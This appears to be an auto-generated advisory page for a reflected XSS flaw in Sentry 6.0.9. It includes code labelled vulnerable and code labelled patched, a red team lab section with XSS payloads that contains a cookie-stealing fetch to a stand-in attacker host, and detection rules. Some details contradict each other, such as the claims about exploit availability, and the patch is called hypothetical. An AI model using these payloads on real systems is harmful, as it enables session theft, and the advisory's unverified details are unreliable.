CVE-2024-48743
Executive Summary
CVE-2024-48743 is a Cross-Site Scripting (XSS) vulnerability identified in Sentry version 6.0.9. This flaw allows a remote attacker to execute arbitrary JavaScript code in the context of a victim's browser by injecting malicious payloads via the z parameter. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the EPSS score of 0.0% suggests low exploitation activity at the time of analysis. No official patch or OSV data is available, and no public exploit code or Nuclei template has been released. The attack vector is network-based, requires user interaction, and can lead to session hijacking, data theft, or defacement.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Sentry is a widely used error tracking and performance monitoring platform. This vulnerability affects the self-hosted Sentry application (likely the Python/Django-based server). Organizations using Sentry v.6.0.9 should treat this as a critical supply chain risk, as an XSS in the monitoring tool itself could compromise sensitive error logs, API keys, and user sessions. No package-specific advisory (PyPI, NPM, etc.) has been published.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unassigned)
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): Required (R)
- Scope (S): Changed (C)
- Confidentiality (C): Low (L)
- Integrity (I): Low (L)
- Availability (A): None (N)
- Threat Level: Medium (due to low EPSS but potential for targeted attacks)
Deep Dive & Mechanics
The vulnerability resides in the handling of the z parameter within Sentry's web interface. The application fails to properly sanitize or encode user-supplied input before reflecting it in the HTTP response. An attacker can craft a URL like:
https://victim-sentry.example.com/?z=<script>alert('XSS')</script>
When a logged-in Sentry user clicks this link, the injected script executes in their browser, potentially allowing the attacker to:
- Steal session cookies
- Perform actions on behalf of the victim (e.g., modify project settings)
- Exfiltrate sensitive error data
- Redirect to phishing pages
The root cause is insufficient output encoding in the template or view that processes the z parameter. Sentry uses Django, and this likely involves a missing |escape filter or improper use of mark_safe.
Vulnerable vs. Patched Code
Vulnerable Code (Sentry v.6.0.9):
# In views.py or similar
def some_view(request):
z_param = request.GET.get('z', '')
return render(request, 'template.html', {'z': z_param})
<!-- template.html -->
<div>{{ z }}</div>
Patched Code (Hypothetical):
# In views.py
from django.utils.html import escape
def some_view(request):
z_param = request.GET.get('z', '')
safe_z = escape(z_param)
return render(request, 'template.html', {'z': safe_z})
<!-- template.html -->
<div>{{ z|escape }}</div>
The patch ensures that the z parameter is HTML-escaped before rendering, preventing script injection.
Exploitation & Lab Setup
Red Team
- Setup: Deploy Sentry v.6.0.9 in a Docker container (e.g., using
getsentry/self-hostedtag6.0.9). - Craft Payload: Use a simple XSS payload to test:
https://sentry.local/?z=<img src=x onerror=alert(1)> - Advanced Payload: For session theft:
URL-encoded:fetch('https://attacker.com/steal?cookie='+document.cookie)https://sentry.local/?z=<script>fetch('https://attacker.com/steal?cookie='%2Bdocument.cookie)</script> - Delivery: Send the malicious link to a victim via email or social engineering.
Blue Team
- Detection: Monitor for unusual
zparameter values containing<script>,onerror, orjavascript:. - Prevention: Implement a WAF rule to block XSS patterns in query parameters.
- Response: If exploitation is suspected, invalidate all active sessions and rotate API keys.
Indicators of Compromise (IOCs)
- URL Pattern:
?z=<script>...</script>or?z=<img src=x onerror=...> - Network Traffic: Outbound HTTP requests to attacker-controlled domains from Sentry server (if exfiltration occurs)
- Log Entries: Sentry access logs showing
zparameter with HTML/JavaScript content - File Hashes: No specific file hashes; focus on Sentry version 6.0.9
Detection Engineering
YARA Rule
rule sentry_xss_cve_2024_48743 {
meta:
description = "Detects XSS attempts against Sentry CVE-2024-48743"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-48743"
strings:
$xss1 = /[?&]z=.*<script/i
$xss2 = /[?&]z=.*onerror/i
$xss3 = /[?&]z=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: Sentry XSS via z Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts targeting Sentry CVE-2024-48743
author: Valters IT
logsource:
category: webserver
product: sentry
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '?z='
cs-uri-query|re: '(?i)(<script|onerror|javascript:)'
condition: selection
falsepositives:
- Legitimate use of 'z' parameter with safe content
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"SENTRY XSS CVE-2024-48743"; flow:to_server,established; content:"?z="; http_uri; pcre:"/(?i)(<script|onerror|javascript:)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade Sentry to a version newer than 6.0.9 (if available). If no patch exists, apply a virtual patch via WAF.
- Workaround: Manually sanitize the
zparameter in the Sentry source code (see patched code example). - Compensating Controls:
- Enable Content Security Policy (CSP) headers to block inline scripts.
- Use HTTP-only cookies to mitigate session theft.
- Implement input validation for all query parameters.
- Monitoring: Deploy the detection rules above to identify exploitation attempts.
- Long-term: Follow Sentry's official security advisories and apply patches promptly.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.